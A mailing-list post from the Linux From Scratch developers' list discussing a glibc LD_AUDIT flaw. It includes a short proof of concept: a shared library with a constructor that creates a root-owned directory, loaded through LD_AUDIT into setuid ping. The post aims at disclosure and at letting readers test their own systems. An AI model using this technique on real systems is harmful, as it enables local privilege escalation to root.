Matthew Burgess wrote: > Quoting from the vulnerability description above: > > "This security issue allows a local attacker to gain root if they can > create a hard link to a setuid root binary." > > So, on your system, is that possible?
That's actually not the only exploit vector. See the followup post to full-disclosure: http://marc.info/?l=full-disclosure&m=128776663124692&w=2 where at least two libraries (one a part of libc!) are found on Ubuntu, that make modifications to the filesystem based on arbitrary environment variables, from their library init functions. (I don't know about libpcprofile, but liblftp-tasks is not in base LFS. Still, this is a problem, since I bet there are lots of these libraries in existence.) You can make your own simple library like this: cat <<EOF >bad.c #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> void __attribute__((constructor)) init() { mkdir(getenv("EXPLOIT_TGT"), 0755); } EOF gcc -fPIC -shared -o /tmp/libbad.so.0 bad.c Now, if your glibc is broken, this will create the directory and print the ping usage message: LD_AUDIT=/tmp/libbad.so.0 EXPLOIT_TGT=/usr/bin/bad ping Whereas if your glibc is not broken (2.10.1 is not... :-) ), it will only print the ping usage. The problem is that /tmp/libbad.so.0 is dlopen()ed via the LD_AUDIT interface on a setuid binary; the security issue doesn't require hardlinks to exploit. (You can even, as root, move /tmp/libbad.so.0 into /usr/lib{,64} and change its UID/GID to zero, to emulate one of the second message's libraries, and re-verify. On a non-broken glibc, it still won't be loaded, since it's not setuid itself.)
signature.asc
Description: OpenPGP digital signature
-- http://linuxfromscratch.org/mailman/listinfo/lfs-dev FAQ: http://www.linuxfromscratch.org/faq/ Unsubscribe: See the above information page
